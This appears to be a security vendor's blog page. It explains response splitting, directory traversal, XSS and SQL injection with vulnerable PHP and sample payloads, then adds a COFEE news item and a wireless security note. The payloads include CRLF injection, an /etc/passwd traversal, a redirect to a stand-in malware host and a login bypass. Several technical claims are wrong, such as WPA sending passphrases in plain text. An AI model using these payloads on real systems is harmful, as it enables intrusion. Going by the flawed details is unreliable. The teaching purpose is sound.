SecuSolutions Blog

HTTP Response splitting is yet another vulnerability that utilizes improper input validation/sanitization from a user.  This exploits pages which have user input directly redirected to Header information, such as redirects.

For example, here is a code for a vulnerable website

<?php

$redirurl = $_REQUEST[‘redirurl’];

header(‘Location : /goto.php?url=$redirurl’);

?>

If you send the text “top” to the redirurl parameter, the usual server response would be:

HTTP/1.1 302 Moved Temporarily

Date: Wed, 24 Dec 2003 12:53:28 GMT

Location: http://www.website.com/goto.php?url=top

Content-Type: text/html

Connection: Close

But a malicious user would utilize this un-sanitized input to his advantage and modify the HTTP Header Response. This is performed by sending a CLRF line termination, and shaping a completely different response.

For example, if a malicious user were to send the following data for the redirurl parameter:

blergh%0d%0aContent-

Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-

Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<script>alert(‘surprise’);</script>

The server would respond with:

HTTP/1.1 302 Moved Temporarily

Date: Wed, 24 Dec 2003 12:53:28 GMT

Location: http://www.website.com/goto.php?url=blergh

Content-Type: 0

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 19

<script>alert(‘surprise’)</script>

This would consequently completely alter the page, and instead of the usual content being shown, the user would have a popup box with the word ‘surprise’ written come up on their screen.

This can be even used maliciously to redirect unsuspecting users to a completely different website.

Finding every location which incorporates user input in headers may be a nightmare with a large website. SecuScan can help automate this procedure as well as looking for Directory Traversal vulnerabilities on your website on a day to day basis.

Contact SecuSolutions at sales@secuscan.net or visit secusolutions.com for more info!

A directory traversal vulnerability occurs when there is a lack of validation for user-supplied input files. This vulnerability can be used to access non-intended files stored or accessible by the server.

For example, the following is an example of vulnerable code:

First Page:

<?php

$template = ‘main.php’;

if (isset($_REQUEST[‘template’]))

$template = $_REQUEST[‘template’];

include ( “/etc/apache2/templates/” . $template );

?>

If someone were to send the following as a POST or GET request:

&template=../../../../../../etc/passwd

The user would be able to access the complete user list on the server, and brute force the password on the hacker’s local machine.  If there are sensitive files, such as unencrypted master password lists or source code on the server, then this vulnerability can cause un-repairable damage to any size of company.

With PHP this risk can be easily mitigated by normalizing characters or re-writing URI request functions to not directly pass on to a filesystem function, finding every location which incorporates the display of user-input may be a nightmare with a large website. SecuScan can help automate this procedure as well as looking for Directory Traversal vulnerabilities on your website on a day to day basis.

Contact SecuSolutions at sales@secuscan.net or visit secusolutions.com for more info!

A Cross-site scripting vulnerability occurs when – like a SQL Injection vulnerability – input validation is not correctly performed, and maliciously crafted input can change the layout of the page and/or redirect to different websites. Cross-site scripting attacks are usually performed on pages where user-input is directly displayed.

For example, the following is an example of vulnerable code:

First Page:

<form action=”search.php” method=”GET” />

Search

<input type=”text” id=”search_item” />

<input type=”submit” value=”Submit” /></form>

Second Page:

<?php echo “Search String”; echo ($_REQUEST_[‘search_item]); ?>

If someone were to send a search string such as the following:

<script>window.location=”http://www.hacker-site.com/virus.exe”;<script/>

This method can also be used maliciously to create popups, or change a website’s layout, something that can be especially detrimental when the changes are recorded in a database.

With PHP this risk can be easily mitigated using the phpentities function, but finding every location that incorporates the display of user-input may be a nightmare with a large website. SecuScan can help automate this procedure, and look for SQL Injection vulnerabilities on your website on a day to day basis.

Contact SecuSolutions at sales@secuscan.net or visit secusolutions.com for more info!

You may hear this term used frequently in articles about security incidents, but few people outside of web developers and dedicated security staff truly understand how the attack really works.

An SQL Injection attack occurs when an attacker sends a maliciously crafted request specifically designed to exploit input validation (or lack thereof) against a vulnerable website.

For example, if a login username password code is (simply) written like this:

$username = get_username_parameter();

$password = get_password_parameter();

query(“SELECT * FROM users WHERE username=’$username’ AND password=’$password’);

if(query == 1) do{ login_ok}

If a user inputs “Terry” as a username and “superman” as his/her password, the SQL query on line 3 would look like:

SELECT * FROM users  WHERE username=’Terry’ AND password=’superman’;

But as you can see, the variables $username, and $password are not validated at all, and query will accept any data that a user passes.

So if a user accidentally puts a colon somewhere in his/her username, it could break the SQL query, and would cause the webpage to throw an error. This is known as an unintentional SQL Injection.

SELECT * FROM users  WHERE username=’Te’rry’ AND password=’superman’;

But an attacker may leverage this type of code to gain access to a user account without a password. If an attacker would type in: ‘ OR 1=’1 as a password, it would rewrite the SQL query to:

SELECT * FROM users  WHERE username=’Terry’ AND password=’’ OR 1=’1’;

As you can see from the above query, the SQL server would try to match a black password, OR 1=1. Since either blank or 1=1 (which is always true) is used as a match for the password, the query will return a valid response, and the application will authenticate the attacker.

Simple input validation can mitigate this risk, but looking for these issues can be a nightmare – especially in larger web applications. SecuScan can help automate this procedure, and look for SQL Injection vulnerabilities on your website on a day to day basis.

Contact SecuSolutions at sales@secuscan.net or visit secusolutions.com for more info!

Sorry. The line was there. I had to use it. Besides, Valleywag already has the best title for this story: At Microsoft, COFEE serves you — to the police

In latest designed-to-scare-the-crap-out-of-you news, Microsoft has confirmed that it’s developed an innocuous-looking and addictively-named peripheral the size of a key fob that plugs into your computer, vacuums up a copy of everything on that computer, cracks all your passwords, decrypts all your encryption, and just generally does whatever it likes with whatever you’ve got until it’s done.

And it’s giving them away free.

That was the bad news. The good news is, they’re only giving them to the Good Guys.

The COFEE, which stands for Computer Online Forensic Evidence Extractor, is a USB “thumb drive” that was quietly distributed to a handful of law-enforcement agencies last June. Microsoft General Counsel Brad Smith described its use to the 350 law-enforcement experts attending a company conference Monday.
The device contains 150 commands that can dramatically cut the time it takes to gather digital evidence…it also eliminates the need to seize a computer itself, which typically involves disconnecting from a network, turning off the power and potentially losing data. Instead, the investigator can scan for evidence on site.
More than 2,000 officers in 15 countries, including Poland, the Philippines, Germany, New Zealand and the United States, are using the device…
Smith acknowledged Microsoft’s efforts are not purely altruistic. It benefits from selling collaboration software and other technology to law-enforcement agencies, just like everybody else, he said.

Well, that should all make us feel better, no? After all, the police hardly ever lose anything important.

With more and more users carrying around net-tops, wifi-capable smart phones, and most every computing device these days shipping with a wireless interface card integrated, it seems only natural to implement a wireless network.

You purchase a router of your choice, configure the basic options, then it comes time to configure your wireless security options.
Most routers/access points come pre-configured with WEP as the default option – and most users think that the 64-bit hexadecimal key must be more secure than setting your own WPA(2) passphrase that can be as short as 5 characters. Think again.

In one study, WEP was shown to be cracked in less than a minute due to various flaws in the authentication protocol.

The next option would be to use WPA which was brought to replace WEP and fix all the security issues that came with it. But this time, there were issues with the de-authentication protocol – the passphrase was sent plain text when clients disconnected from the access point!

Next time you configure a wireless access point, be sure it is configured to use WPA2 – which is as of today not crackable using conventional methods.